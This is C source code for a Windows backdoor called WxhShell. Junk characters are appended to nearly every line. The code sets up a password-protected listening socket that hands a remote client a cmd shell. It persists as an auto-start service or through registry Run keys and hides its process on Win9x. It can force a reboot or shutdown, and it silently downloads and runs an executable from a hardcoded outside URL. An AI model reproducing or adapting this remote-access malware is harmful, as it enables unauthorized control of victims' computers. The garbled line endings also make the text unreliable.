    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gJp6ReZ#  
    else { KC&XOI %  
    closesocket(wsh); 02J(*_o  
    ExitThread(0); P0; y  
    } :LB*l5\  
    break; ..h@QQ  
    } ">!pos`<C  
  // 获取shell qi/k`T  
  case 's': { ysi=}+F.  
    CmdShell(wsh); I*j~5fsS'  
    closesocket(wsh); fJ\?+,  
    ExitThread(0); #5h_{q4l  
    break; SFh<>J^ 0a  
  } TDZ==<C  
  // 退出 O13]H"O_  
  case 'x': { u(yN81  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ax\d{0/oL2  
    CloseIt(wsh); 1p5'.~J+Q  
    break; 4Th?q{X  
    } Y=|20Y\K  
  // 离开 /2d>nj  
  case 'q': { [z\baL|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ";`jS&"=  
    closesocket(wsh); ,_H H8[&  
    WSACleanup(); IhK SwT  
    exit(1); OcWKK!A  
    break; Lp"OXJ*es  
        } d 4tL  
  } ?7)v:$(G}  
  } LH}9&FfjU  
.3UJ*^(?  
  // 提示信息 I)#8}[vK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^ )"Il  
} m;4ti9  
  } q9_AL8_  
{[:C_Up)f  
  return; ( ./MFf  
} # "c'eG0  
>&e=0@?+G  
// shell模块句柄 xx1lEcj  
int CmdShell(SOCKET sock) M`q|GY  
{ nu+^D$ait  
STARTUPINFO si; CV^%'HIs?+  
ZeroMemory(&si,sizeof(si)); zJ(DO>,p&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K%L6UQ;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^/}4M'[w  
PROCESS_INFORMATION ProcessInfo; *7Y#G8 s  
char cmdline[]="cmd"; KyT=:f V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 451.VI}MR  
  return 0; !pRu?5  
} ;p~!('{P  
kl~/tbf  
// 自身启动模式 U5-8It2OR  
int StartFromService(void) ct|0zl~  
{ V&ETt.91Ft  
typedef struct 4qE4 i:b  
{ +J{ErsG?6P  
  DWORD ExitStatus; zOMxg00  
  DWORD PebBaseAddress; ?kZ-,@h:  
  DWORD AffinityMask; :+>7m  
  DWORD BasePriority; ~a3u['B  
  ULONG UniqueProcessId; Q3=5q w^  
  ULONG InheritedFromUniqueProcessId; *XWu)>*o  
}   PROCESS_BASIC_INFORMATION; 'l!\2Wv2  
>Q(\vl@N=  
PROCNTQSIP NtQueryInformationProcess; *szs"mQ/  
W //+[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W3Ee3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '3^qW  
kq(><T  
  HANDLE             hProcess; 4?@#w>(  
  PROCESS_BASIC_INFORMATION pbi; E <j=5|0t  
s}Go")p<:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,)d`_AD+5  
  if(NULL == hInst ) return 0; w0nbL^f  
Z/:yYSq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =ZU!i0 K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6W3oIt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <4;, y*"n  
p`7d9MV^  
  if (!NtQueryInformationProcess) return 0; W!.FnM5x  
i83Jy w,f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H'k~;  
  if(!hProcess) return 0; +,R!el!o~u  
E$:2AK{*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &,PA+#  
S/pU|zV[  
  CloseHandle(hProcess); yp=sL' E  
?xMTO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tFn[U#'  
if(hProcess==NULL) return 0; Ufi#y<dP  
kzUj)  
HMODULE hMod; v_%6Ly  
char procName[255]; u:(=gj,~x  
unsigned long cbNeeded; p}!)4EI=  
a(O@E%|u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H@zv-{}T8  
(ESFR0  
  CloseHandle(hProcess); mP15PZ  
$(0<T<\  
if(strstr(procName,"services")) return 1; // 以服务启动 n;xzjq-  
rttKj{7E  
  return 0; // 注册表启动 [-Y~g%M  
} 1z2v[S&pk  
IN1 n^f$:  
// 主模块 #2Q%sE?  
int StartWxhshell(LPSTR lpCmdLine) %j17QD8  
{ g]44|9x(W  
  SOCKET wsl; !U(S?:hvW  
BOOL val=TRUE; hV`?, ~K  
  int port=0; d72 yu3  
  struct sockaddr_in door; ;XZN0A2  
B$JPE7h@[P  
  if(wscfg.ws_autoins) Install(); 9dszn^]T  
mqJD+ K  
port=atoi(lpCmdLine); `'r]Oe  
JF}i=}  
if(port<=0) port=wscfg.ws_port; ?Y\WSI?i  
g9g ] X  
  WSADATA data; .uX(-8n ~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~v/` `s  
(kK8 OxfF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *Z.{1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d@JavcR  
  door.sin_family = AF_INET; gV':Xe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zN+jn  
  door.sin_port = htons(port); t,XbF  
zTG1 0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +YCWoX 2  
closesocket(wsl); [.$%ti*!  
return 1; {#z47Rz  
} 4Vf-D% h>a  
H|?r_Ns  
  if(listen(wsl,2) == INVALID_SOCKET) { F [-D +Nka  
closesocket(wsl); O7Jp ;  
return 1; =r`E%P:  
} Eqny'44  
  Wxhshell(wsl); ^5 "yY2}-  
  WSACleanup(); ;Cx`RF w  
~^Ga?Q_  
return 0; >c:nr&yP  
|4aU&OX  
} 5f@&XwD9  
9 s2z=^  
// 以NT服务方式启动 FRPdfo37  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BUh(pS:  
{ 1,Pg^Xu  
DWORD   status = 0; "GqasbX  
  DWORD   specificError = 0xfffffff; *E|3Vy{4  
:N<o<qn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u,YmCEd_V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8h}1t4k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `N}'5{I  
  serviceStatus.dwWin32ExitCode     = 0; _Eq,udCso  
  serviceStatus.dwServiceSpecificExitCode = 0; 5|bfrc  
  serviceStatus.dwCheckPoint       = 0; B=_5gZ4Y  
  serviceStatus.dwWaitHint       = 0; ) AGE"M3X  
UAI'tRY N_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /k\)q  
  if (hServiceStatusHandle==0) return; ee Bw\f0  
Ix=(f0|  
status = GetLastError(); !]7L9TGn  
  if (status!=NO_ERROR) 3dtL[aVwY  
{ @WKJ7pt`'N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jl6biJx  
    serviceStatus.dwCheckPoint       = 0; 11fV|b%  
    serviceStatus.dwWaitHint       = 0; h;cw=G  
    serviceStatus.dwWin32ExitCode     = status; KUq(&H7  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^\VVx:]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]nxSVKE4p  
    return; +y-3tcI)  
  } E`wq`g`H<  
li')U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {t'SA]|g  
  serviceStatus.dwCheckPoint       = 0; \4OU+$m  
  serviceStatus.dwWaitHint       = 0; h2+"e# _  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gIGi7x  
} U?:?NC=1{  
a(`"qS  
// 处理NT服务事件,比如:启动、停止 jR3mV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NPE 4@c_a@  
{ \)g}   
switch(fdwControl) RM25]hx  
{ 9I1i(0q  
case SERVICE_CONTROL_STOP: <{eJbNp  
  serviceStatus.dwWin32ExitCode = 0; KC<K*UHPAH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2XjH1  
  serviceStatus.dwCheckPoint   = 0; 8)f/H&)>8  
  serviceStatus.dwWaitHint     = 0; R&/"?&pfa  
  { =| r% lx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (I1^nrDP.  
  } H,!yG5yF  
  return; K1- 3!G  
case SERVICE_CONTROL_PAUSE: sa"!ckh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Bt >Y  
  break; )o::~ eu  
case SERVICE_CONTROL_CONTINUE: u@4khN: ^p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0SZ:C(]  
  break; 5S7ATr(*  
case SERVICE_CONTROL_INTERROGATE: BUBtK-n~"3  
  break; ^w jMu5f  
}; .z,`{-7U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G$lE0_j2{  
} d8^S~7  
fhki!# E8M  
// 标准应用程序主函数 91FVe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QA~Lm  
{ wI[J>9Qn  
z Hl+P*)  
// 获取操作系统版本 mP +H C)2  
OsIsNt=GetOsVer(); %L  nG^L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kxY9[#:<fB  
;l@Ge`&u  
  // 从命令行安装 <+<,$jGC-  
  if(strpbrk(lpCmdLine,"iI")) Install(); NQd0$q  
\Dx)P[Ur  
  // 下载执行文件 v@:m8Y(t  
if(wscfg.ws_downexe) { 5lE9UoG[Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pf&SIG  
  WinExec(wscfg.ws_filenam,SW_HIDE); xwijCFI*  
} "(;t`,F  
;Z&w"oSJ  
if(!OsIsNt) { j|r$ ! gV  
// 如果时win9x,隐藏进程并且设置为注册表启动 '81WogH:  
HideProc(); _E^ !, Wz  
StartWxhshell(lpCmdLine); *Y ?&N2@c  
} ,Mn?h\  
else 2cv=7!K4Uv  
  if(StartFromService()) )aX#RM? N  
  // 以服务方式启动 `S]DHxS  
  StartServiceCtrlDispatcher(DispatchTable); B!1L W4^  
else vPu {xy  
  // 普通方式启动 M9(Kxux#  
  StartWxhshell(lpCmdLine); QLH6Nmk  
MBFn s/  
return 0; }Szs9-Wns  
} ^F+7@*u  
<d3 a  
3hR3)(+1  
>6z7.d  
=========================================== G>+iisb%  
=#?=Lh  
n!?u/[@  
-lI6!a^  
ek0,@Vg9  
Z+S1e~~  
" $"{I| UFC  
#Gu(h(Z s  
#include <stdio.h> k{+ Gv}Y  
#include <string.h> ;#dzw!+Y  
#include <windows.h> /h K/t;  
#include <winsock2.h> 2P VQSwW:  
#include <winsvc.h> y6Ea_v  
#include <urlmon.h> x1 1ug  
!MD uj  
#pragma comment (lib, "Ws2_32.lib") l|  QQ  
#pragma comment (lib, "urlmon.lib") PA${<wyBR_  
+C`zI~8  
#define MAX_USER   100 // 最大客户端连接数 R"{oj]d;$F  
#define BUF_SOCK   200 // sock buffer ,) 3Eog\-  
#define KEY_BUFF   255 // 输入 buffer 0d #jiG  
EceD\}  
#define REBOOT     0   // 重启 A@ 4Oq  
#define SHUTDOWN   1   // 关机 J]$]zD  
C +S>;1  
#define DEF_PORT   5000 // 监听端口 T|h'"3'  
0"xD>ue&  
#define REG_LEN     16   // 注册表键长度 _!E/ em  
#define SVC_LEN     80   // NT服务名长度 d /`d:g  
T2MXwd&l  
// 从dll定义API w O*x0$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .Gnzu"lod  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )ZDqj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1H7 bPl|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @DCw(.k*  
d?1[xv;  
// wxhshell配置信息 9 IY1"j0O  
struct WSCFG { |F52)<\  
  int ws_port;         // 监听端口 C3e0d~C  
  char ws_passstr[REG_LEN]; // 口令 #w]@yL]|is  
  int ws_autoins;       // 安装标记, 1=yes 0=no r>7Dg~)V  
  char ws_regname[REG_LEN]; // 注册表键名 "P8cgj C  
  char ws_svcname[REG_LEN]; // 服务名 ]dQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -jL10~/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PRyzUG&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xSZ+6R|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?H(']3X5@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qon>[<]B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HT=-mwa_]  
2)+ddel<Z  
}; bRK[u\,  
kZHIzU  
// default Wxhshell configuration D=!5l4  
struct WSCFG wscfg={DEF_PORT, WxF0LhM  
    "xuhuanlingzhe", bWfT-Jewh  
    1, 35fsr=  
    "Wxhshell", Uk= L?t  
    "Wxhshell", 2/#%^,Kb2  
            "WxhShell Service", g.eMGwonTJ  
    "Wrsky Windows CmdShell Service", qZDP-  
    "Please Input Your Password: ", dp#'~[j  
  1, Lsz)\yIPj  
  "http://www.wrsky.com/wxhshell.exe", z)]Br1  
  "Wxhshell.exe" Id 40yER  
    }; {,zn#hU.R  
PitDk 1T  
// 消息定义模块 {qPu }?0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9|1J pb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }|(v0]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gqQ"'SRw  
char *msg_ws_ext="\n\rExit."; E3,Nc`'m9  
char *msg_ws_end="\n\rQuit."; f|-%.,  
char *msg_ws_boot="\n\rReboot..."; uUI@!)@2  
char *msg_ws_poff="\n\rShutdown..."; PvqG5-L~W  
char *msg_ws_down="\n\rSave to "; " )/febBS  
Y8%*S%yO  
char *msg_ws_err="\n\rErr!"; 5Ak6q(\  
char *msg_ws_ok="\n\rOK!"; KeE)9e   
Y@R9+ 7!  
char ExeFile[MAX_PATH]; ,lr\XhO  
int nUser = 0; EZg$mp1  
HANDLE handles[MAX_USER]; b0!ZA/YC-  
int OsIsNt; Jx4"~ 4  
; `-@L  
SERVICE_STATUS       serviceStatus; k<!xOg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -@yu 9=DT  
n>:|K0u"  
// 函数声明 I\:(`)"r  
int Install(void); +JRPd.B"@  
int Uninstall(void); -mAi7[omh  
int DownloadFile(char *sURL, SOCKET wsh);  N2Q%/}+,  
int Boot(int flag); |sklY0?l(  
void HideProc(void); sj\kp ni  
int GetOsVer(void); )-_To&S*  
int Wxhshell(SOCKET wsl); $kCLS7 *  
void TalkWithClient(void *cs); [ nG@ 3n  
int CmdShell(SOCKET sock); oV Hh  
int StartFromService(void); ;ZowC#j  
int StartWxhshell(LPSTR lpCmdLine); f<v:Tg.[  
J}37 9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 15tT%TC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .0f6b  
:ZP`Y%dt'  
// 数据结构和表定义 ^TCgSi7k`L  
SERVICE_TABLE_ENTRY DispatchTable[] = qJPEq%'Q  
{ w.6Gp;O  
{wscfg.ws_svcname, NTServiceMain}, %q)*8  
{NULL, NULL} B gB]M3Il  
}; z;d]=PT  
h,%b>JFo  
// 自我安装 r&?i>.Kz8  
int Install(void) z9 )I@P"  
{ L>Soj|WUy(  
  char svExeFile[MAX_PATH]; U|}Bk/0.  
  HKEY key; JVk"M=c  
  strcpy(svExeFile,ExeFile); -cW 'g  
dpWBY3(7a  
// 如果是win9x系统,修改注册表设为自启动 Dhy@!EOS  
if(!OsIsNt) { vgvJ6$#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rLzN #Zoi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xD3Y-d9  
  RegCloseKey(key); '2BE"e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( 17=|s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {X'D07q  
  RegCloseKey(key); 3ZEV*=+T5  
  return 0; I!OV+utF  
    } OD\F*Ry~  
  } SByn u  
} +X&b  
else { Zr U9oy&!C  
?*h 2:a$  
// 如果是NT以上系统,安装为系统服务 &m J +#vT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h8me.=S&  
if (schSCManager!=0) WC<K(PP  
{ uw,p\:D&  
  SC_HANDLE schService = CreateService GN%|'eU  
  ( 38Bh9>c3  
  schSCManager, mFdj+ &2\  
  wscfg.ws_svcname, eH9Ofhsry  
  wscfg.ws_svcdisp, "U DV4<|^k  
  SERVICE_ALL_ACCESS, Hp!c\z;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N akSIGm  
  SERVICE_AUTO_START, fXJbC+  
  SERVICE_ERROR_NORMAL, [TFd|ywn  
  svExeFile, 7(oX 1hN  
  NULL, vOKWi:-U  
  NULL, Ug1n4X3FKn  
  NULL, lE@ V>%b  
  NULL, d}`Z| ex  
  NULL 8Q2qroT  
  ); ':jsCeSB  
  if (schService!=0) @CJ`T&  
  {  edv&!  
  CloseServiceHandle(schService); V`/D!8>  
  CloseServiceHandle(schSCManager); FhkS"y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /PuN+M  
  strcat(svExeFile,wscfg.ws_svcname); Sl RQi:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D#I^;Xg0h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E0o?rgfdq  
  RegCloseKey(key); 9< $n'g  
  return 0; {+V]saYP  
    } eXdE?j  
  } Z+G.v=2q<  
  CloseServiceHandle(schSCManager); zj9)vr`7  
} /\0 rRT  
} WK<:(vu.  
r%^l~PN  
return 1; Gec?  
} ^[]@dk9  
~dFdO7  
// 自我卸载 d@?++z  
int Uninstall(void) #OT8_D  
{ {r,MRZaa  
  HKEY key; lPywr TG0  
[m9Iz!E  
if(!OsIsNt) { %Ct^{k~1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nGqD{!i<  
  RegDeleteValue(key,wscfg.ws_regname); O ^+H:Y|  
  RegCloseKey(key); yD-L:)@"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7ZsBYP8%  
  RegDeleteValue(key,wscfg.ws_regname); k,mgiGrQ  
  RegCloseKey(key); c\\'x\J7  
  return 0; BS_ 3|  
  } AJ0 ;wx  
} ^DW vzfj  
} g$N/pg2>cT  
else { [10y13  
6|Qg=4_FHt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s G6ts,={  
if (schSCManager!=0) t(R Jc  
{ \69h>h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :~Z -K\  
  if (schService!=0) }CCTz0[D"  
  { H>qw@JiO!  
  if(DeleteService(schService)!=0) { 'Cv>V"X: `  
  CloseServiceHandle(schService); Uf ?._&:  
  CloseServiceHandle(schSCManager); 9 Y-y?Y  
  return 0; J:!m49fF  
  } p!OCF]r  
  CloseServiceHandle(schService); abW[hp  
  } ruKm_j#J  
  CloseServiceHandle(schSCManager); +=:*[JEK,U  
} pp2,d`01[L  
} N-9Vx#i  
Sl!#!FGI  
return 1; /YLHg5n8+  
} R|&Rq(ow"  
'[z529HN  
// 从指定url下载文件 Z?);^m|T  
int DownloadFile(char *sURL, SOCKET wsh) o;zU;pkB  
{ @|jLw($Ly  
  HRESULT hr; PXRkK63  
char seps[]= "/"; |g@n'^]  
char *token; 5C|Y-G  
char *file; T.}wcQf&*  
char myURL[MAX_PATH]; e@ mjh,  
char myFILE[MAX_PATH]; *:+&Sx L  
X^td`}F/=V  
strcpy(myURL,sURL); djk?;^8  
  token=strtok(myURL,seps); =,])xzG%  
  while(token!=NULL) T{"[Ih3Mbl  
  { KqD]GS#(  
    file=token; Oe/&Ryj=mm  
  token=strtok(NULL,seps); g"dq;H  
  } <*/IV<  
%wDE+&M  
GetCurrentDirectory(MAX_PATH,myFILE); >STAPrBp+  
strcat(myFILE, "\\"); zarxv| }$  
strcat(myFILE, file); BWWO=N  
  send(wsh,myFILE,strlen(myFILE),0); P5K=S.g  
send(wsh,"...",3,0); +}.~"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vR)f'+_Nz  
  if(hr==S_OK) wigs1  
return 0; j v4O  
else QH d^?H*  
return 1; GI[TD?s  
2YbI."ob  
} D"z3SLFW{  
O)jpnNz  
// 系统电源模块 A5\00O~  
int Boot(int flag) X9-WU\?UC  
{ nqFJNK]a  
  HANDLE hToken; ){I0  
  TOKEN_PRIVILEGES tkp; 7'~O ai~r  
;J>upI   
  if(OsIsNt) { ^7Hwpn7E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C$+z1z.!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IW{}l=D/  
    tkp.PrivilegeCount = 1; AL;z's(F?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F{*h~7D-|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s;ivoGe}  
if(flag==REBOOT) { &}y?Lt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _ g8CvH)?!  
  return 0; Ov-Y.+L:  
} Hh1]\4D,4  
else { f'oO/0lx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sOyL  
  return 0; ^cnTZzT#Q  
} s0To^I  
  } _t/~C*=:=  
  else { 2bnYYQ14:  
if(flag==REBOOT) { z%E ok  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  CK"OHjR  
  return 0; tgVMgu  
} .}c&" L;W  
else { ]i:_^z)R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [2P6XoI#  
  return 0; Q;xJ/4 Z"  
} L[cP2X]NQ  
} o}p^q:T*  
rHa*WA;TE  
return 1; z @21Z`,  
} 11((b  
qN"Q3mU^h*  
// win9x进程隐藏模块 "OO)m](w  
void HideProc(void) jAcrXB*  
{ A`:a T{j  
W5Uw=!LdEY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =o5|W'>`  
  if ( hKernel != NULL ) `PUGg[Zx^  
  { UasU/Q <   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W>j@E|m$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &~a S24c  
    FreeLibrary(hKernel); kRb  %:*  
  } k.ttrKy<q/  
Q@ Ze+IhK`  
return; `oU|U!|  
} dLfB){>S  
KK}ox%j  
// 获取操作系统版本 kK|D&Xy`  
int GetOsVer(void) 6dncUfB  
{  &<LBz|  
  OSVERSIONINFO winfo; AnK~<9WQj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9vauCIfVC  
  GetVersionEx(&winfo); AGGT] 58|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !+u K@z&G  
  return 1; agkGUK/  
  else +^DDWVp  
  return 0; QnA~,z/ .w  
} }n( ?|  
;Rljx3!N  
// 客户端句柄模块 {SkE`u4Sz  
int Wxhshell(SOCKET wsl) f#kT?!sP  
{ !<3!ORFO  
  SOCKET wsh; 0Lf4 ^9N  
  struct sockaddr_in client; RKPX*(i~  
  DWORD myID; U38~m}c  
 :Y Ki  
  while(nUser<MAX_USER) +# 3e<+!F  
{ '.wb= C  
  int nSize=sizeof(client); q-s(2C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `=$p!H8  
  if(wsh==INVALID_SOCKET) return 1; FuM:~jv  
KL yI*`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fs3 :NH  
if(handles[nUser]==0) w>o/)TTJL  
  closesocket(wsh); G*f\ /  
else +Qf<*  
  nUser++; ,`bmue5  
  } klR\7+lK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); . 1+I8qj  
+BVY9U?\"  
  return 0; E/zclD5S  
} 6f:uAFwG  
);zLgNx,  
// 关闭 socket X'88W-  
void CloseIt(SOCKET wsh) DNr*|A2<  
{ <aLS4  
closesocket(wsh); unih"};ou  
nUser--; 7`f%?xVn0  
ExitThread(0); GC~nr-O  
} _=cU2  
jV[;e15+  
// 客户端请求句柄 8iTB  
void TalkWithClient(void *cs) !FwNq'Q8$  
{ 4f&"1:  
K)9Rw2-AJ  
  SOCKET wsh=(SOCKET)cs; JOz4O  
  char pwd[SVC_LEN]; }K5okxio  
  char cmd[KEY_BUFF]; I^nDO\m <  
char chr[1]; f92z/5%V  
int i,j; TlowEh8r  
&1Cs'  
  while (nUser < MAX_USER) { ,+ 5:}hR+  
d'"|Qg_'  
if(wscfg.ws_passstr) {  wX5q=I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d N$,AOT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \wD L oR  
  //ZeroMemory(pwd,KEY_BUFF); -p?&vQDo`  
      i=0; Sn0kJIb }  
  while(i<SVC_LEN) { jfiUf1Mj  
*4e?y  
  // 设置超时 nEUUD3a  
  fd_set FdRead; !,dp/5 V  
  struct timeval TimeOut; T(qTipq0  
  FD_ZERO(&FdRead); `8S3Y  
  FD_SET(wsh,&FdRead); 1_b*j-j  
  TimeOut.tv_sec=8; 19U&4Jk  
  TimeOut.tv_usec=0; rvlvk"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *NG\3%}%|@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r6nnRN/S=  
_!E&%=f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'zbvg0T  
  pwd=chr[0]; #N"u 0  
  if(chr[0]==0xd || chr[0]==0xa) { :G6aO  
  pwd=0; LP=y$B  
  break; S43JaSw)  
  } <:Mz2Rg  
  i++; $C sE[+k1  
    } FZ?:BX^  
#%2d;V  
  // 如果是非法用户,关闭 socket l^d'8n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uorX;yekC  
} _3:%b6&Pz  
k qL.ZR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 71y{Dwya  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,~=]3qmbR  
_U}vKm  
while(1) { XPU>} 4{  
@ ?M\[qeF@  
  ZeroMemory(cmd,KEY_BUFF); Pmo<t6  
m$_b\^we  
      // 自动支持客户端 telnet标准   +]nIr'V  
  j=0; -iS^VzI|I  
  while(j<KEY_BUFF) { e b} P/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -2; 6Pwmv  
  cmd[j]=chr[0]; Ku%tM7ad  
  if(chr[0]==0xa || chr[0]==0xd) { |$b8(g$s)  
  cmd[j]=0; FGx)?  
  break; >x JzV  
  } '9Z`y_~)G  
  j++; DtFHh/X  
    } ",.f   
ZX` \so,&,  
  // 下载文件 Gk{ 'U  
  if(strstr(cmd,"http://")) { :Y\ ~[Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5, ,~k=  
  if(DownloadFile(cmd,wsh)) *qm|A{FQR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>#Njgo  
  else Wu^Rv-xA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cd_@<  
  } } Xo#/9  
  else { A{ ~D_q  
X7huc*  
    switch(cmd[0]) { ()IZ7#kL?  
  G;}WZy  
  // 帮助 *,4rYb7I w  
  case '?': { 6X*vCylI  
